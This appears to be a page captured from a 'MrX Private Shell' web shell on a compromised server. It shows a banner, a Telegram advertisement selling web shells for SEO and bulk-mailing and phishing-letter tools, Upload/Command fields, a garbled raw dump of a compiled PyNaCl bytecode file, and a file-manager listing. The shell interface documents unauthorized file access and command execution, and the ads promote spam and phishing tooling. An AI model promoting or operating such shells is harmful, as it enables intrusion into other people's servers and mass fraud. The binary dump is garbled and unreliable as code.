__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

#�`g�"�
��%SSKJrJr SSKJr SSKJrJr SSK	J
r
 \R"5r\
\S'\R"5r\
\S'\R""5r\
\S'\R&"5r\
\S'\R*"5r\
\S	'\R."5r\
\S
'\R2"5r\
\S'\R6"5r\
\S'\R:"5r\
\S
'SrSr S\
S\!S\!S\!SS4
Sjr"\SSS4S\!S\
S\!S\!S\!S\!4Sjjr#\"SSS9r$"SS5r%SSS\4S\!S\!S\!S\
S\%4
Sjjr&S\%S\!SS4S jr'S\%S\!4S!jr(g)"�)�NoReturn�TypeVar)�
exceptions)�ffi�lib)�ensure�crypto_generichash_BYTES�crypto_generichash_BYTES_MIN�crypto_generichash_BYTES_MAX�crypto_generichash_KEYBYTES�crypto_generichash_KEYBYTES_MIN�crypto_generichash_KEYBYTES_MAX�crypto_generichash_SALTBYTES� crypto_generichash_PERSONALBYTES�crypto_generichash_STATEBYTESz!{0} length greater than {1} bytesz{0} greater than {1}�digest_size�key�salt�person�returnNc�2�[[U[5S[RS9 [[U[5S[RS9 [[U[5S[RS9 [[U[
5S[RS9 [U[:*[RS[5[RS9 [[U5[:*[RS[5[RS9 [[U5[:*[RS[5[RS9 [[U5[:*[RS	[5[RS9 g
)zCheck hash parameterszKey must be a bytes sequence��raisingzSalt must be a bytes sequencezPerson must be a bytes sequencez%Digest size must be an integer number�Digest_size�Key�Salt�PersonN)r�
isinstance�bytes�exc�	TypeError�intr�_TOOBIG�format�
ValueError�lenr�	_OVERLONGrr)rrrrs    �B/usr/lib/python3/dist-packages/nacl/bindings/crypto_generichash.py�_checkparamsr))s0����3���&��
�
����4���'��
�
����6�5�!�)��
�
����;��$�/��
�
����3�3����}�&B�C�������C��3�3����� ?�@�������D�	�1�1�����!=�>�������F��7�7�����#C�D�����r*�datac
�F�[XX45 [[U[5S[R
S9 [R"SU5n[R"S[5n[R"S[5n[R"Xc[U55 [R"Xt[U55 [R"XQU[U5U[U5Xg5n[US:HS[RS9 [R"XQ5SS$)aOne shot hash interface

:param data: the input data to the hash function
:type data: bytes
:param digest_size: must be at most
                    :py:data:`.crypto_generichash_BYTES_MAX`;
                    the default digest size is
                    :py:data:`.crypto_generichash_BYTES`
:type digest_size: int
:param key: must be at most
            :py:data:`.crypto_generichash_KEYBYTES_MAX` long
:type key: bytes
:param salt: must be at most
             :py:data:`.crypto_generichash_SALTBYTES` long;
             will be zero-padded if needed
:type salt: bytes
:param person: must be at most
               :py:data:`.crypto_generichash_PERSONALBYTES` long:
               will be zero-padded if needed
:type person: bytes
:return: digest_size long digest
:rtype: bytes
�#Input data must be a bytes sequencer�unsigned char[]�unsigned char []r�Unexpected failureN)r)rrrr r!r�newrr�memmover&r�(crypto_generichash_blake2b_salt_personal�RuntimeError�buffer)	r+rrrr�digest�_salt�_person�rcs	         r(�!generichash_blake2b_salt_personalr:^s���>��4�0�
��4���-��
�
���W�W�&��
4�F�
�G�G�&�(D�E�E��g�g�(�*J�K�G��K�K��S��Y�'��K�K���V��-�	�	5�	5��T�3�t�9�c�3�s�8�U�
�B��2��7�(�#�2B�2B�C��:�:�f�*�1�-�-r*�_Blake2State�Blake2State)�boundc�N�\rSrSrSrSS/rS\4SjrS\4Sjr	S\
S\
4S	jrS
rg)r<�zF
Python-level wrapper for the crypto_generichash_blake2b state buffer
�	_statebufrc�P�[R"S[5UlXlg)Nr.)rr1rr@r)�selfrs  r(�__init__�Blake2State.__init__�s ������<�
���'�r*rc�^�[SRURR55e)zK
Raise the same exception as hashlib's blake implementation
on copy.copy()
zcan't pickle {} objects)r!r$�	__class__�__name__)rBs r(�
__reduce__�Blake2State.__reduce__�s)��
�%�,�,�T�^�^�-D�-D�E�
�	
r*rBc��URUR5n[R"URUR[
5 U$)N)rFrrr2r@r)rB�_sts  r(�copy�Blake2State.copy�s9���n�n�T�-�-�.������M�M�4�>�>�+H�	
��
r*)r@rN)
rG�
__module__�__qualname__�__firstlineno__�__doc__�	__slots__r"rCrrHr;rL�__static_attributes__�r*r(r<r<�s>����m�,�I�'�C�'�
�H�
��<��L�r*c��[X0X5 [U5n[R"S[5n[R"S[
5n[R"XQ[U55 [R"Xb[U55 [R"URU[U5X5U5n[US:HS[RS9 U$)a�
Create a new initialized blake2b hash state

:param key: must be at most
            :py:data:`.crypto_generichash_KEYBYTES_MAX` long
:type key: bytes
:param salt: must be at most
             :py:data:`.crypto_generichash_SALTBYTES` long;
             will be zero-padded if needed
:type salt: bytes
:param person: must be at most
               :py:data:`.crypto_generichash_PERSONALBYTES` long:
               will be zero-padded if needed
:type person: bytes
:param digest_size: must be at most
                    :py:data:`.crypto_generichash_BYTES_MAX`;
                    the default digest size is
                    :py:data:`.crypto_generichash_BYTES`
:type digest_size: int
:return: a initialized :py:class:`.Blake2State`
:rtype: object
r/rr0r)r)r<rr1rrr2r&r�-crypto_generichash_blake2b_init_salt_personalr@rr r4)rrrr�stater7r8r9s        r(�generichash_blake2b_initrX�s���:��4�0���$�E�
�G�G�&�(D�E�E��g�g�(�*J�K�G��K�K��S��Y�'��K�K���V��-�	�	:�	:�
����c�#�h��G�
�B��2��7�(�#�2B�2B�C��Lr*rWc�.�[[U[5S[RS9 [[U[
5S[RS9 [R"URU[U55n[US:HS[RS9 g)z�Update the blake2b hash state

:param state: a initialized Blake2bState object as returned from
                 :py:func:`.crypto_generichash_blake2b_init`
:type state: :py:class:`.Blake2State`
:param data:
:type data: bytes
�"State must be a Blake2State objectrr-rr0N)rrr<r r!rr�!crypto_generichash_blake2b_updater@r&r4)rWr+r9s   r(�generichash_blake2b_updater\�sx����5�+�&�,��
�
����4���-��
�
��

�	.�	.�
����s�4�y�
�B��2��7�(�#�2B�2B�Cr*c�Z�[[U[5S[RS9 [
R"S[5n[R"URXR5n[US:HS[RS9 [
R"XR5SS$)a"Finalize the blake2b hash state and return the digest.

:param state: a initialized Blake2bState object as returned from
                 :py:func:`.crypto_generichash_blake2b_init`
:type state: :py:class:`.Blake2State`
:return: the blake2 digest of the passed-in data stream
:rtype: bytes
rZrr.rr0N)rrr<r r!rr1rr� crypto_generichash_blake2b_finalr@rr4r5)rW�_digestr9s   r(�generichash_blake2b_finalr`s�����5�+�&�,��
�
���g�g�'�)E�F�G�	�	-�	-�
����"3�"3�
�B��2��7�(�#�2B�2B�C��:�:�g�0�0�1�!�4�4r*))�typingrr�naclrr �nacl._sodiumrr�nacl.exceptionsr� crypto_generichash_blake2b_bytesr	r"�__annotations__�$crypto_generichash_blake2b_bytes_minr
�$crypto_generichash_blake2b_bytes_maxr�#crypto_generichash_blake2b_keybytesr�'crypto_generichash_blake2b_keybytes_minr
�'crypto_generichash_blake2b_keybytes_maxr�$crypto_generichash_blake2b_saltbytesr�(crypto_generichash_blake2b_personalbytesr�crypto_generichash_statebytesrr'r#rr)r:r;r<rXr\r`rTr*r(�<module>ros���%�$�"�!�"�!$� D� D� F��#�F�$'�$L�$L�$N��c�N�$'�$L�$L�$N��c�N�#&�#J�#J�#L��S�L��/�/�1� ����/�/�1� ���%(�$L�$L�$N��c�N��0�0�2�!�#��&)�%F�%F�%H��s�H�/�	�
 ��2��2� �2�(-�2�7<�2�	�2�n0����5.�
�5.��5.�
�5.��	5.�

�5.��
5.�p�~�]�;����>���/�	-�	�-�
�-�
�-��	-�
�-�`D�k�D��D�4�D�85�[�5�U�5r*

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 10.57 KB 0644
crypto_aead.cpython-313.pyc File 15.71 KB 0644
crypto_box.cpython-313.pyc File 12.45 KB 0644
crypto_core.cpython-313.pyc File 14.06 KB 0644
crypto_generichash.cpython-313.pyc File 10.51 KB 0644
crypto_hash.cpython-313.pyc File 2.23 KB 0644
crypto_kx.cpython-313.pyc File 6.6 KB 0644
crypto_pwhash.cpython-313.pyc File 20.76 KB 0644
crypto_scalarmult.cpython-313.pyc File 8.74 KB 0644
crypto_secretbox.cpython-313.pyc File 3.41 KB 0644
crypto_secretstream.cpython-313.pyc File 11.95 KB 0644
crypto_shorthash.cpython-313.pyc File 3.03 KB 0644
crypto_sign.cpython-313.pyc File 12.3 KB 0644
randombytes.cpython-313.pyc File 1.62 KB 0644
sodium_core.cpython-313.pyc File 921 B 0644
utils.cpython-313.pyc File 5.82 KB 0644
Filemanager